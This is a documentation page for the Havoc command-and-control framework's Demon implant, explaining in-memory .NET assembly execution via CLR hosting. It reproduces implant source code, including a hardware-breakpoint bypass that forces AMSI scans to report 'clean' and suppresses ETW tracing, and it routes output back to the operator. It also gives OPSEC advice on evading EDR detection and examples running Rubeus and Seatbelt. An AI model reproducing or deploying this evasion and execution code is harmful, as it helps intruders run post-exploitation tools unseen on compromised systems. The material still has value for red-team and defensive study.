.NET Assembly Execution

Overview

Havoc can execute .NET assemblies directly within the agent process using the Common Language Runtime (CLR) hosting APIs. This technique, known as “execute-assembly” or “inline-execute”, avoids spawning new processes and enables stealth execution of .NET tooling.

Inline assembly execution uses the unmanaged CLR hosting interfaces to bootstrap .NET code within the implant’s process, with optional AMSI and ETW bypasses.

CLR Hosting Architecture

Initialization

Havoc uses mscoree.dll to bootstrap the CLR: Source: payloads/Demon/src/core/Dotnet.c:524

DWORD ClrCreateInstance(
    LPCWSTR dotNetVersion,
    PICLRMetaHost *ppClrMetaHost,
    PICLRRuntimeInfo *ppClrRuntimeInfo,
    ICorRuntimeHost **ppICorRuntimeHost
) {
    BOOL fLoadable = FALSE;
    
    if (RtMscoree()) {
        // Create CLR MetaHost
        if (Instance->Win32.CLRCreateInstance(
            &xCLSID_CLRMetaHost,
            &xIID_ICLRMetaHost,
            (LPVOID*)ppClrMetaHost
        ) == S_OK) {
            
            // Get specific runtime version
            (*ppClrMetaHost)->lpVtbl->GetRuntime(
                *ppClrMetaHost,
                dotNetVersion,  // e.g., L"v4.0.30319"
                &xIID_ICLRRuntimeInfo,
                (LPVOID*)ppClrRuntimeInfo
            );
            
            // Check if loadable
            (*ppClrRuntimeInfo)->lpVtbl->IsLoadable(
                *ppClrRuntimeInfo, &fLoadable
            );
            
            if (fLoadable) {
                // Get ICorRuntimeHost interface
                (*ppClrRuntimeInfo)->lpVtbl->GetInterface(
                    *ppClrRuntimeInfo,
                    &xCLSID_CorRuntimeHost,
                    &xIID_ICorRuntimeHost,
                    (LPVOID*)ppICorRuntimeHost
                );
                
                // Start the CLR
                (*ppICorRuntimeHost)->lpVtbl->Start(*ppICorRuntimeHost);
            }
        }
    }
}

CLR GUIDs

Source: payloads/Demon/src/core/Dotnet.c:10

GUID xCLSID_CLRMetaHost    = {0x9280188d, 0xe8e,  0x4867, 
                               {0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}};
GUID xCLSID_CorRuntimeHost = {0xcb2f6723, 0xab3a, 0x11d2, 
                               {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}};
GUID xIID_AppDomain        = {0x05F696DC, 0x2B29, 0x3663, 
                               {0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13}};
GUID xIID_ICLRMetaHost     = {0xD332DB9E, 0xB9B3, 0x4125, 
                               {0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}};
GUID xIID_ICLRRuntimeInfo  = {0xBD39D1D2, 0xBA2F, 0x486a, 
                               {0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}};
GUID xIID_ICorRuntimeHost  = {0xcb2f6722, 0xab3a, 0x11d2, 
                               {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}};

Assembly Loading & Execution

Source: payloads/Demon/src/core/Dotnet.c:19

BOOL DotnetExecute(BUFFER Assembly, BUFFER Arguments) {
    SAFEARRAYBOUND RgsBound[1] = {0};
    LPWSTR* ArgumentsArray = NULL;
    INT ArgumentsCount = 0;
    VARIANT Object = {0};
    
    // Create named pipe for output redirection
    Instance->Dotnet->Pipe = Instance->Win32.CreateNamedPipeW(
        Instance->Dotnet->PipeName.Buffer,
        PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,
        PIPE_TYPE_MESSAGE,
        PIPE_UNLIMITED_INSTANCES,
        PIPE_BUFFER, PIPE_BUFFER,
        0, NULL
    );
    
    // Create file handle to write side of pipe
    Instance->Dotnet->File = Instance->Win32.CreateFileW(
        Instance->Dotnet->PipeName.Buffer,
        GENERIC_WRITE,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    
    // Host the CLR
    if (!ClrCreateInstance(
        Instance->Dotnet->NetVersion.Buffer,
        &Instance->Dotnet->MetaHost,
        &Instance->Dotnet->ClrRuntimeInfo,
        &Instance->Dotnet->ICorRuntimeHost
    )) {
        return FALSE;
    }
    
    // Create SafeArray to hold assembly bytes
    RgsBound[0].cElements = Assembly.Length;
    RgsBound[0].lLbound   = 0;
    Instance->Dotnet->SafeArray = Instance->Win32.SafeArrayCreate(
        VT_UI1, 1, RgsBound
    );
    
    // Create AppDomain
    Instance->Dotnet->ICorRuntimeHost->lpVtbl->CreateDomain(
        Instance->Dotnet->ICorRuntimeHost,
        Instance->Dotnet->AppDomainName.Buffer,
        NULL,
        &Instance->Dotnet->AppDomainThunk
    );
    
    // Get AppDomain interface
    Instance->Dotnet->AppDomainThunk->lpVtbl->QueryInterface(
        Instance->Dotnet->AppDomainThunk,
        &xIID_AppDomain,
        (LPVOID*)&Instance->Dotnet->AppDomain
    );
    
    // Copy assembly bytes into SafeArray
    Instance->Win32.SafeArrayAccessData(
        Instance->Dotnet->SafeArray, &AssemblyData.Buffer
    );
    MemCopy(AssemblyData.Buffer, Assembly.Buffer, Assembly.Length);
    Instance->Win32.SafeArrayUnaccessData(Instance->Dotnet->SafeArray);
    
    // Load assembly into AppDomain
    Instance->Dotnet->AppDomain->lpVtbl->Load_3(
        Instance->Dotnet->AppDomain,
        Instance->Dotnet->SafeArray,
        &Instance->Dotnet->Assembly
    );
    
    // Get EntryPoint method
    Instance->Dotnet->Assembly->lpVtbl->EntryPoint(
        Instance->Dotnet->Assembly,
        &Instance->Dotnet->MethodInfo
    );
    
    // Prepare arguments
    Instance->Dotnet->MethodArgs = Instance->Win32.SafeArrayCreateVector(
        VT_VARIANT, 0, 1
    );
    
    ArgumentsArray = Instance->Win32.CommandLineToArgvW(
        Arguments.Buffer, &ArgumentsCount
    );
    ArgumentsArray++;  // Skip executable name
    ArgumentsCount--;
    
    Instance->Dotnet->vtPsa.vt = (VT_ARRAY | VT_BSTR);
    Instance->Dotnet->vtPsa.parray = Instance->Win32.SafeArrayCreateVector(
        VT_BSTR, 0, ArgumentsCount
    );
    
    for (LONG i = 0; i < ArgumentsCount; i++) {
        Instance->Win32.SafeArrayPutElement(
            Instance->Dotnet->vtPsa.parray,
            &i,
            Instance->Win32.SysAllocString(ArgumentsArray[i])
        );
    }
    
    // Redirect stdout to pipe
    Instance->Dotnet->StdOut = Instance->Win32.GetStdHandle(STD_OUTPUT_HANDLE);
    Instance->Win32.SetStdHandle(STD_OUTPUT_HANDLE, Instance->Dotnet->File);
    
    // Invoke the assembly entry point
    Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3(
        Instance->Dotnet->MethodInfo,
        Object,
        Instance->Dotnet->MethodArgs,
        &Instance->Dotnet->Return
    );
    
    Instance->Dotnet->Invoked = TRUE;
    
    // Capture and send output
    DotnetPush();
    
    return TRUE;
}

AMSI Bypass

Havoc implements hardware breakpoint-based AMSI/ETW bypass: Source: payloads/Demon/src/core/Dotnet.c:86

if (Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP) {
    // Initialize hardware breakpoint engine
    if (!NT_SUCCESS(HwBpEngineInit(NULL, NULL))) {
        return FALSE;
    }
    
    ThreadId = U_PTR(Instance->Teb->ClientId.UniqueThread);
    
    // Add AMSI bypass if loaded
    if (AmsiIsLoaded) {
        if (!NT_SUCCESS(HwBpEngineAdd(
            NULL,
            ThreadId,
            Instance->Win32.AmsiScanBuffer,  // Function to hook
            HwBpExAmsiScanBuffer,            // Exception handler
            0                                 // Debug register index
        ))) {
            return FALSE;
        }
    }
    
    // Add ETW bypass
    if (!NT_SUCCESS(HwBpEngineAdd(
        NULL,
        ThreadId,
        Instance->Win32.NtTraceEvent,  // Function to hook
        HwBpExNtTraceEvent,            // Exception handler
        1                               // Debug register index
    ))) {
        return FALSE;
    }
}

Hardware Breakpoint Exception Handlers

Source: payloads/Demon/src/core/HwBpExceptions.c:6

VOID HwBpExAmsiScanBuffer(_Inout_ PEXCEPTION_POINTERS Exception) {
    PVOID Return = NULL;
    
    // Set AmsiResult parameter to 0 (AMSI_RESULT_CLEAN)
    EXCEPTION_ARG_5(Exception) = 0;
    
    // Set return value to E_INVALIDARG
    EXCEPTION_SET_RET(Exception, 0x80070057);
    
    // Skip function execution and return
    Return = EXCEPTION_GET_RET(Exception);
    EXCEPTION_ADJ_STACK(Exception, sizeof(PVOID));
    EXCEPTION_SET_RIP(Exception, U_PTR(Return));
}

VOID HwBpExNtTraceEvent(_Inout_ PEXCEPTION_POINTERS Exception) {
    PVOID Return = NULL;
    
    // Skip ETW event tracing
    Return = EXCEPTION_GET_RET(Exception);
    EXCEPTION_ADJ_STACK(Exception, sizeof(PVOID));
    EXCEPTION_SET_RIP(Exception, U_PTR(Return));
}

Hardware breakpoints (DR0-DR3) trigger exceptions before function execution. Havoc’s exception handlers modify registers to skip AMSI/ETW calls entirely.

Output Redirection

Named Pipe Capture

Source: payloads/Demon/src/core/Dotnet.c:312

VOID DotnetPushPipe() {
    DWORD Read = 0;
    DWORD BytesRead = 0;
    
    if (!Instance->Dotnet)
        return;
    
    // Check how much data is in the pipe
    if (Instance->Win32.PeekNamedPipe(
        Instance->Dotnet->Pipe, NULL, 0, NULL, &Read, NULL
    )) {
        if (Read > 0) {
            Instance->Dotnet->Output.Length = Read;
            Instance->Dotnet->Output.Buffer = MmHeapAlloc(
                Instance->Dotnet->Output.Length
            );
            
            // Read from pipe
            Instance->Win32.ReadFile(
                Instance->Dotnet->Pipe,
                Instance->Dotnet->Output.Buffer,
                Instance->Dotnet->Output.Length,
                &BytesRead,
                NULL
            );
            
            Instance->Dotnet->Output.Length = BytesRead;
            
            // Send output to operator
            PPACKAGE Package = PackageCreateWithRequestID(
                DEMON_OUTPUT,
                Instance->Dotnet->RequestID
            );
            PackageAddBytes(
                Package,
                Instance->Dotnet->Output.Buffer,
                Instance->Dotnet->Output.Length
            );
            PackageTransmit(Package);
            
            // Clean up
            MemSet(Instance->Dotnet->Output.Buffer, 0, Read);
            MmHeapFree(Instance->Dotnet->Output.Buffer);
            Instance->Dotnet->Output.Buffer = NULL;
        }
    }
}

Cleanup & Unloading

Source: payloads/Demon/src/core/Dotnet.c:379

VOID DotnetClose() {
    // Free console if allocated
    Instance->Win32.FreeConsole();
    
    // Destroy hardware breakpoint engine
    if (Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP) {
        HwBpEngineDestroy(NULL);
    }
    
    // Close handles
    if (Instance->Dotnet->Event) {
        SysNtClose(Instance->Dotnet->Event);
    }
    if (Instance->Dotnet->Pipe) {
        SysNtClose(Instance->Dotnet->Pipe);
    }
    if (Instance->Dotnet->File) {
        SysNtClose(Instance->Dotnet->File);
    }
    
    // Release COM interfaces
    if (Instance->Dotnet->MethodArgs) {
        Instance->Win32.SafeArrayDestroy(Instance->Dotnet->MethodArgs);
    }
    if (Instance->Dotnet->MethodInfo) {
        Instance->Dotnet->MethodInfo->lpVtbl->Release(
            Instance->Dotnet->MethodInfo
        );
    }
    if (Instance->Dotnet->Assembly) {
        Instance->Dotnet->Assembly->lpVtbl->Release(
            Instance->Dotnet->Assembly
        );
    }
    if (Instance->Dotnet->AppDomain) {
        Instance->Dotnet->AppDomain->lpVtbl->Release(
            Instance->Dotnet->AppDomain
        );
    }
    if (Instance->Dotnet->AppDomainThunk) {
        Instance->Dotnet->AppDomainThunk->lpVtbl->Release(
            Instance->Dotnet->AppDomainThunk
        );
    }
    
    // Stop and release CLR
    if (Instance->Dotnet->ICorRuntimeHost) {
        Instance->Dotnet->ICorRuntimeHost->lpVtbl->UnloadDomain(
            Instance->Dotnet->ICorRuntimeHost,
            Instance->Dotnet->AppDomainThunk
        );
        Instance->Dotnet->ICorRuntimeHost->lpVtbl->Stop(
            Instance->Dotnet->ICorRuntimeHost
        );
    }
    if (Instance->Dotnet->ClrRuntimeInfo) {
        Instance->Dotnet->ClrRuntimeInfo->lpVtbl->Release(
            Instance->Dotnet->ClrRuntimeInfo
        );
    }
    if (Instance->Dotnet->MetaHost) {
        Instance->Dotnet->MetaHost->lpVtbl->Release(
            Instance->Dotnet->MetaHost
        );
    }
    
    // Free Dotnet structure
    if (Instance->Dotnet) {
        MemSet(Instance->Dotnet, 0, sizeof(DOTNET_ARGS));
        MmHeapFree(Instance->Dotnet);
        Instance->Dotnet = NULL;
    }
}

CLR hosting can leave .NET assemblies and AppDomains loaded in memory. While Havoc attempts to unload AppDomains, the CLR itself remains loaded in the process.

.NET Version Detection

Source: payloads/Demon/src/core/Dotnet.c:501

BOOL FindVersion(PVOID Assembly, DWORD length) {
    char* assembly_c = (char*)Assembly;
    char v4[] = {0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39}; // "v4.0.30319"
    
    for (int i = 0; i < length; i++) {
        for (int j = 0; j < 10; j++) {
            if (v4[j] != assembly_c[i + j])
                break;
            else {
                if (j == 9)
                    return 1;  // v4 detected
            }
        }
    }
    
    return 0;  // Not v4
}

OPSEC Considerations

Detection Risks

CLR Loaded in Unusual Process: EDRs detect CLR in non-.NET processes
AppDomain Creation: RuntimeBroker or CLR ETW events
Assembly Loading: Image load events for mscoree.dll, clr.dll, mscorlib.dll
Hardware Breakpoints: DR0-DR3 registers set (detectable via GetThreadContext)
Named Pipes: Pipe creation for output redirection
Console Allocation: AllocConsole from non-console process
Memory Patterns: .NET assemblies visible in process memory

Mitigation Strategies

Limit Use: Only execute assemblies when necessary
Target Legitimate Processes: Use process injection into existing .NET processes
Clean Memory: Ensure proper cleanup after execution
Avoid Common Tools: Don’t run Rubeus, SharpHound, etc. repeatedly

Usage Examples

# Execute Seatbelt with arguments
inline-execute /path/to/Seatbelt.exe -group=system

# Execute Rubeus
inline-execute /path/to/Rubeus.exe triage

# Execute custom assembly
inline-execute /path/to/custom.exe arg1 arg2 arg3

Limitations

Single CLR Version: Only one CLR version can be loaded per process
AppDomain Isolation: Limited isolation between successive assembly executions
Memory Footprint: CLR significantly increases process memory
No Unloading: CLR cannot be fully unloaded once initialized
x64 Only: Hardware breakpoint bypass only works on x64

Indirect Syscalls - Used for memory operations
COFF Loader - Alternative to .NET assemblies
Process injection for assembly execution in remote processes

References

CLR hosting: payloads/Demon/src/core/Dotnet.c
AMSI bypass: payloads/Demon/src/core/HwBpExceptions.c
Hardware breakpoints: payloads/Demon/src/core/HwBpEngine.c
Microsoft CLR Hosting documentation

Get Started

Core Concepts

Demon Agent

Listeners

Extensibility

Advanced

Overview

CLR Hosting Architecture

Initialization

CLR GUIDs

Assembly Loading & Execution

AMSI Bypass

Hardware Breakpoint Exception Handlers

Output Redirection

Named Pipe Capture

Cleanup & Unloading

.NET Version Detection

OPSEC Considerations

Mitigation Strategies

Usage Examples

Limitations

References

​Overview

​CLR Hosting Architecture

​Initialization

​CLR GUIDs

​Assembly Loading & Execution

​AMSI Bypass

​Hardware Breakpoint Exception Handlers

​Output Redirection

​Named Pipe Capture

​Cleanup & Unloading

​.NET Version Detection

​OPSEC Considerations

​Mitigation Strategies

​Usage Examples

​Limitations

​Related Techniques

​References

Overview

CLR Hosting Architecture

Initialization

CLR GUIDs

Assembly Loading & Execution

AMSI Bypass

Hardware Breakpoint Exception Handlers

Output Redirection

Named Pipe Capture

Cleanup & Unloading

.NET Version Detection

OPSEC Considerations

Mitigation Strategies

Usage Examples

Limitations

Related Techniques

References